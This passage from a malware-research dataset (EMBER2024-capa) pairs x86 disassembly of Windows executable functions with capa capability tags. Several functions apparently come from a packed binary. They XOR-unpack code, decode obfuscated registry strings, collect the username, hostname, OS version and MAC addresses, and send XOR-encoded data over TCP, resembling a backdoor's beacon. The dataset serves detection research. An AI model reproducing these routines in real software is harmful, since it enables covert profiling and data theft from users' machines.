joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a12b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x44a171
call fcn.0044b5e7
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x44a171
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x44a1b4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x44a19d
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x44a19d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x44a1b1
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x44eacb
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44eaf9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44eb17
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0044ea35
jmp 0x44eb17
mov eax, dword [esi + 0x14]
test eax, eax
je 0x44eb17
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0044ea35
test edi, edi
mov eax, edi
jne 0x44eb01
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x4a41a4]
test ecx, ecx
je 0x44ebda
jmp 0x44eaca
ret 8

Function at 0x450bb6
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x450bbf
xor eax, eax
jmp 0x450c28
cmp dword [esp + 8], 0
jne 0x450bcb
call fcn.00445fbe
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.00458655
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x450c06
push dword [esi + 0x10]
call fcn.00458670
test eax, eax
pop ecx
jne 0x450c06
mov esi, dword [esi + 0xc]
call fcn.004582f0
push esi
push dword [eax]
push 1
call fcn.004517d7
push dword [esi + 0x10]
call fcn.0045869f
test eax, eax
pop ecx
je 0x450c25
push dword [esi + 0x10]
call fcn.0045bf5e
push eax
call fcn.00402c10
pop ecx
pop ecx
jmp 0x450bf4
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x450c31
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x450c3b
call fcn.00445fbe
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.004587e8
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x450c68
mov esi, dword [esi + 0xc]
call fcn.004582f0
push esi
push dword [eax]
push 1
call fcn.004517d7
pop esi
ret 8

Function at 0x454f77
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a0800]
jne 0x454f81
repz ret
jmp fcn.0045d98f
Function at 0x45768e
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x4576bb
call fcn.004582f0
mov dword [eax], esi
call fcn.004582dd
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0045695a
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4576d9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00458303
pop ecx
jmp 0x4576b6
test byte [esp + 0xc], 0x80
je 0x4576e5
and eax, 0xfffffffe
jmp 0x4576e8
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x4576ca
xor eax, eax
pop esi
ret

Function at 0x46970b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0045d376
xor ebx, ebx
cmp dword [0x4a4ff0], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x4697e0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x46974b
xor eax, eax
jmp 0x4698a4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x469744
push eax
call fcn.0045d313
mov dword [esp], 0x481780
push edi
mov dword [0x4a4ff0], eax
call esi
push eax
call fcn.0045d313
mov dword [esp], 0x48176c
push edi
mov dword [0x4a4ff4], eax
call esi
push eax
call fcn.0045d313
mov dword [0x4a4ff8], eax
lea eax, [ebp - 8]
push eax
call fcn.00456a37
test eax, eax
pop ecx
pop ecx
je 0x4697ae
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0045685e
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x4697e0
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0045d313
cmp eax, ebx
pop ecx
mov dword [0x4a5000], eax
je 0x4697e0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0045d313
pop ecx
mov dword [0x4a4ffc], eax
mov eax, dword [0x4a4ffc]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x469859
cmp dword [0x4a5000], esi
je 0x469859
push eax
call fcn.0045d37f
pop ecx
call eax
cmp eax, ebx
je 0x469826
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4a5000]
call fcn.0045d37f
pop ecx
call eax
test eax, eax
je 0x469826
test byte [ebp - 0x18], 1
jne 0x469859
lea eax, [ebp - 0xc]
push eax
call fcn.00456a6e
test eax, eax
pop ecx
je 0x469841
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0045685e
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x469850
or dword [ebp + 0x10], 0x200000
jmp 0x46988a
or dword [ebp + 0x10], 0x40000
jmp 0x46988a
mov eax, dword [0x4a4ff4]
cmp eax, esi
je 0x46988a
push eax
call fcn.0045d37f
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x46988a
mov eax, dword [0x4a4ff8]
cmp eax, esi
je 0x46988a
push dword [ebp - 4]
push eax
call fcn.0045d37f
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4a4ff0]
call fcn.0045d37f
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x472fc0
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4a0800]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00472f55
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00459580
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x47300f
cmp dword [ebp - 0x1c], 5
jb 0x473027
jmp 0x473023
cmp dword [ebp - 0x10], 1
jne 0x473027
cmp dword [ebp - 0x1c], 4
ja 0x473023
jne 0x473027
cmp dword [ebp - 0x18], 0
jbe 0x473027
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x483844
call fcn.0041b8d0
test eax, eax
jge 0x473048
mov byte [0x4a6454], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00454f77
add ebp, 0x78
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
cmp byte [eax], 0
mov edx, eax
je 0x40101b
mov ecx, eax
lea esp, [esp]
xor byte [edx], 0xf
inc ecx
cmp byte [ecx], 0
mov edx, ecx
jne 0x401010
ret

Function at 0x401020
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, 0x1a2c
mov edi, eax
mov dword [ebp - 8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x4010b1
sub edx, edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
push ebx
mov edx, esi
shr edx, 8
mov dword [ebp - 4], edx
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and dl, bl
mov ebx, esi
mov ecx, eax
shr ecx, 8
and dl, cl
mov dword [ebp - 0x14], ecx
mov ecx, esi
shr ecx, 0x18
shr ebx, 0x10
and cl, bl
mov bl, byte [ebp - 4]
xor dl, cl
mov ecx, dword [ebp - 0x10]
xor dl, byte [ecx + edi]
mov ecx, dword [ebp - 8]
lea esi, [eax*4]
xor esi, eax
add esi, esi
and bl, cl
xor esi, eax
xor dl, bl
xor dl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x14]
shl esi, 0x14
or esi, dword [ebp - 4]
mov byte [edi], dl
inc edi
dec dword [ebp - 0xc]
mov dword [ebp - 8], esi
mov eax, ecx
jne 0x401044
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4010c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [edx + edx]
xor eax, edx
shl eax, 4
xor eax, edx
and eax, 0xffffff80
mov esi, edx
shl esi, 7
xor eax, esi
mov esi, edx
shr esi, 8
shl eax, 0x11
or eax, esi
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
shl edx, 0x11
mov esi, eax
shr esi, 8
or edx, esi
mov byte [ecx], al
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
shl edx, 0x11
mov esi, eax
shr esi, 8
or edx, esi
mov byte [ecx + 1], al
add eax, edx
lea edx, [eax + eax]
xor edx, eax
and edx, 0xfffffff8
lea esi, [eax*8]
xor edx, esi
shl edx, 4
mov esi, eax
and esi, 0xffffff80
xor edx, esi
mov esi, eax
shr esi, 8
shl edx, 0x11
or edx, esi
mov byte [ecx + 2], al
add eax, edx
xor esi, esi
mov byte [ecx + 3], al
cmp dword [ebp + 0xc], esi
jle 0x40124e
movzx ebx, byte [ecx + 2]
mov dl, byte [ecx + 1]
mov byte [ebp - 1], bl
movzx ebx, al
mov byte [ebp - 2], bl
mov edi, dword [ebp + 8]
movzx edi, byte [esi + edi]
add eax, edi
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
add eax, edi
add byte [ecx], al
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
add eax, edi
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
shl edi, 0x11
mov ebx, eax
shr ebx, 8
or edi, ebx
mov bl, byte [ebp - 1]
add dl, al
add eax, edi
add bl, al
mov byte [ebp - 1], bl
mov byte [ecx + 2], bl
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
mov ebx, eax
shr ebx, 8
shl edi, 0x11
or edi, ebx
mov bl, byte [ebp - 2]
add eax, edi
add bl, al
inc esi
mov byte [ecx + 1], dl
mov byte [ebp - 2], bl
mov byte [ecx + 3], bl
cmp esi, dword [ebp + 0xc]
jl 0x401182
xor edx, edx
cmp byte [edx + ecx], 0
jbe 0x40128a
movzx esi, byte [edx + ecx]
lea ebx, [ebx]
lea edi, [eax + eax]
xor edi, eax
and edi, 0xfffffff8
lea ebx, [eax*8]
xor edi, ebx
shl edi, 4
mov ebx, eax
and ebx, 0xffffff80
xor edi, ebx
mov ebx, eax
shl edi, 0x11
shr ebx, 8
or edi, ebx
add eax, edi
dec esi
jne 0x401260
mov byte [edx + ecx], al
inc edx
cmp edx, 4
jl 0x401250
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012a0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ab8
call fcn.0040a500
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
movzx ecx, cx
mov dword [ebp - 0x3aa0], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3a9c], ecx
mov dword [ebp - 0x3a98], edx
mov dword [ebp - 0x3a94], eax
mov edi, edi
mov ecx, 0x3a84
cmp ebx, 0x3a84
ja 0x4012ef
mov ecx, ebx
sub ebx, ecx
mov esi, 0x1a2c
xor edi, edi
mov dword [ebp - 0x3a90], ecx
mov dword [ebp - 0x3ab0], ebx
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x3aa8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x4013cf
mov ecx, dword [ebp - 0x3aa0]
lea edx, [ebp - 0x3a8c]
sub ecx, edx
mov dword [ebp - 0x3aac], ecx
mov edx, esi
shr edx, 8
mov dword [ebp - 0x3aa4], edx
mov ebx, eax
shr ebx, 0x18
mov edx, eax
shr edx, 0x10
and bl, dl
mov edx, esi
mov ecx, eax
shr ecx, 8
and bl, cl
mov dword [ebp - 0x3ab8], ecx
mov ecx, esi
mov esi, dword [ebp - 0x3aac]
shr ecx, 0x18
shr edx, 0x10
and cl, dl
mov dl, byte [ebp - 0x3aa4]
xor bl, cl
mov ecx, dword [ebp - 0x3aa8]
and dl, cl
xor bl, dl
lea edx, [ebp + edi - 0x3a8c]
xor bl, byte [esi + edx]
lea esi, [eax*4]
xor esi, eax
add esi, esi
xor esi, eax
xor bl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x3ab8]
shl esi, 0x14
or esi, dword [ebp - 0x3aa4]
inc edi
mov byte [edx], bl
mov dword [ebp - 0x3aa8], esi
mov eax, ecx
cmp edi, dword [ebp - 0x3ab4]
jl 0x401331
mov ecx, dword [ebp - 0x3a90]
mov ebx, dword [ebp - 0x3ab0]
add dword [ebp - 0x3aa0], ecx
add ecx, 0x10
movzx esi, cx
lea edi, [ebp - 0x3a9c]
test si, si
je 0x401427
mov ecx, dword [ebp + 8]
push 0
movzx eax, si
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x401401
add edi, eax
sub esi, eax
jmp 0x401422
cmp eax, 0xffffffff
jne 0x401422
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401443
cmp eax, 0x2744
je 0x401443
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test si, si
jne 0x4013e6
test ebx, ebx
jne 0x4012e0
pop edi
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x401460
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x40149a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x40155b
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
mov eax, dword [edx]
push ecx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x14]
push edx
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40150b
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push esi
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x401559
push eax
push eax
lea ecx, [ebp - 0x24]
push ecx
push eax
push eax
push 0xc
lea edx, [ebp - 0x20]
push edx
push 0x98000004
push esi
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 0x2bf20
mov dword [ebp - 0x18], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x401570
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.__kzlAnbj]
mov edx, dword [0x40e294]
push esi
push edi
mov ecx, 0xb
mov esi, str._I_XN_JSBfl__iSXfak_x_A_SLzjaYjf_aS
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x40e290]
push 0x58
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x280]
push 0
push eax
movsw word es:[edi], word [esi]
mov dword [ebp - 0x288], ecx
mov dword [ebp - 0x284], edx
call fcn.004068f0
mov ecx, dword [str.LKYjf_a]
mov edx, dword [0x40e29c]
mov ax, word [0x40e2a0]
push 0x59
mov dword [ebp - 0x224], edx
mov dword [ebp - 0x228], ecx
mov cl, byte [0x40e2a2]
lea edx, [ebp - 0x21d]
push 0
push edx
mov word [ebp - 0x220], ax
mov byte [ebp - 0x21e], cl
call fcn.004068f0
push 0x190
lea eax, [ebp - 0x1c4]
push 0
push eax
call fcn.004068f0
add esp, 0x24
push 0x40e2a3
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x34], 0
lea eax, [ebp - 0x34]
je 0x401642
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x401637
cmp byte [ebp + 8], 1
jne 0x40170d
lea ecx, [ebp - 0x394]
push ecx
push 0x20019
push 0
lea edx, [ebp - 0x34]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40170d
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea esi, [ebp - 0x28c]
mov dword [ebp - 0x390], 2
cmp byte [esi], 0
mov ecx, esi
je 0x40169b
mov eax, esi
xor byte [ecx], 0xf
inc eax
cmp byte [eax], 0
mov ecx, eax
jne 0x401690
push 0x100
lea eax, [ebp - 0x38c]
push 0
push eax
mov dword [ebp - 0x398], 0x100
call fcn.004068f0
mov eax, dword [ebp - 0x394]
add esp, 0xc
lea ecx, [ebp - 0x398]
push ecx
lea edx, [ebp - 0x38c]
push edx
push 0
push 0
push esi
push eax
call edi
test eax, eax
jne 0x4016f5
lea ecx, [ebp - 0x38c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40e2a4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
add esi, 0x64
dec dword [ebp - 0x390]
jne 0x401687
mov edx, dword [ebp - 0x394]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x401720
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.004068f0
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x40178f
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x40178f
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 2
mov eax, dword [ebp - 0x9c]
push ebx
jne 0x4017af
cmp eax, 5
je 0x4017ab
cmp eax, 6
jne 0x4017af
mov bl, 1
jmp 0x4017b5
mov bl, byte [ebp - 0xa1]
mov ecx, dword [ebp - 0x98]
push ecx
push eax
push str._d._d
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp - 4]
add esp, 0x10
mov al, bl
pop ebx
xor ecx, ebp
pop esi
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x4017e0
Capabilities:
Get hostname
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x104]
push ecx
mov ebx, 0x20141104
mov dword [ebp - 0x108], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x288
mov dword [ebp - 0x108], 0x288
call fcn.00402e06
mov esi, eax
add esp, 4
test esi, esi
jne 0x401845
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea edx, [ebp - 0x108]
push edx
push esi
call edi
mov eax, dword [ebp - 0x108]
push eax
push esi
call fcn.0040306d
add esp, 8
lea ecx, [ebp - 0x108]
mov esi, eax
push ecx
push esi
mov dword [ebp - 0x10c], esi
call edi
test eax, eax
je 0x40188f
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d39
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x401944
jmp 0x4018a0
xor edi, edi
cmp dword [esi + 0x190], edi
jbe 0x401908
lea ebx, [ebx]
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018c0
sub eax, edx
cmp eax, 0xe6
ja 0x401908
movzx edx, byte [esi + edi + 0x194]
push edx
lea eax, [ebp + eax - 0x104]
push str._2.2X
push eax
call fcn.00402d48
mov al, byte [esi + edi + 0x194]
add esp, 0xc
test al, al
je 0x4018ff
movzx ecx, al
imul ebx, ecx
inc edi
cmp edi, dword [esi + 0x190]
jb 0x4018b0
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401911
sub eax, edx
cmp eax, 0xe6
ja 0x401944
lea edx, [esi + 8]
push edx
lea eax, [ebp + eax - 0x104]
push 0x40e2b8
push eax
call fcn.00402d48
mov esi, dword [esi]
add esp, 0xc
test esi, esi
jne 0x4018a0
mov ecx, dword [ebp - 0x10c]
push ecx
call fcn.00402dcc
lea eax, [ebp - 0x104]
add esp, 4
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401960
sub eax, edx
push eax
lea edx, [ebp - 0x104]
push edx
mov edx, ebx
lea ecx, [ebp - 0x10c]
call fcn.004010c0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10c]
add esp, 8
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret
Function at 0x4019a0
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x774
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push edi
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0xdc]
push ecx
mov dword [ebp - 0x774], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edi, [ebp - 0x74]
call fcn.00401720
mov byte [ebp - 0x770], al
mov edx, dword [ebp - 0x770]
push edx
mov ebx, edi
call fcn.00401570
add esp, 4
mov eax, edi
push eax
lea ecx, [ebp - 0xdc]
push ecx
lea edx, [ebp - 0x4bc]
push str._s__s
push edx
call fcn.00402d48
add esp, 0x10
lea eax, [ebp - 0x4bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x76c]
push ecx
inc eax
push 2
mov dword [ebp - 0x4c0], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401a6d
push 0xff
lea edx, [ebp - 0x5dc]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x401a67
lea eax, [ebp - 0x5dc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401a67
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
jmp 0x401a6f
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
mov eax, 0x45e7b273
imul dword [0x410f68]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
push edx
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4d4], ecx
mov edx, ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.004010c0
call fcn.004017e0
mov edx, dword [ebp - 0x4c0]
lea ecx, [ebp - 0x4dc]
push ecx
mov ecx, dword [ebp + 8]
add edx, 0x20
push edx
push 0
push ecx
mov edx, eax
mov ecx, 0x9e2
mov dword [ebp - 0x4dc], eax
mov dword [0x411d08], eax
call fcn.004012a0
mov ecx, dword [ebp - 8]
add esp, 0x18
pop edi
xor ecx, ebp
pop ebx
call fcn.00402d39
mov esp, ebp
pop ebp
ret

Function at 0x401b00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov esi, eax
test eax, eax
je 0x401b5a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 8]
push 0
push esi
push edi
push eax
call ebx
test eax, eax
jle 0x401b2b
add edi, eax
sub esi, eax
jmp 0x401b4c
cmp eax, 0xffffffff
jne 0x401b58
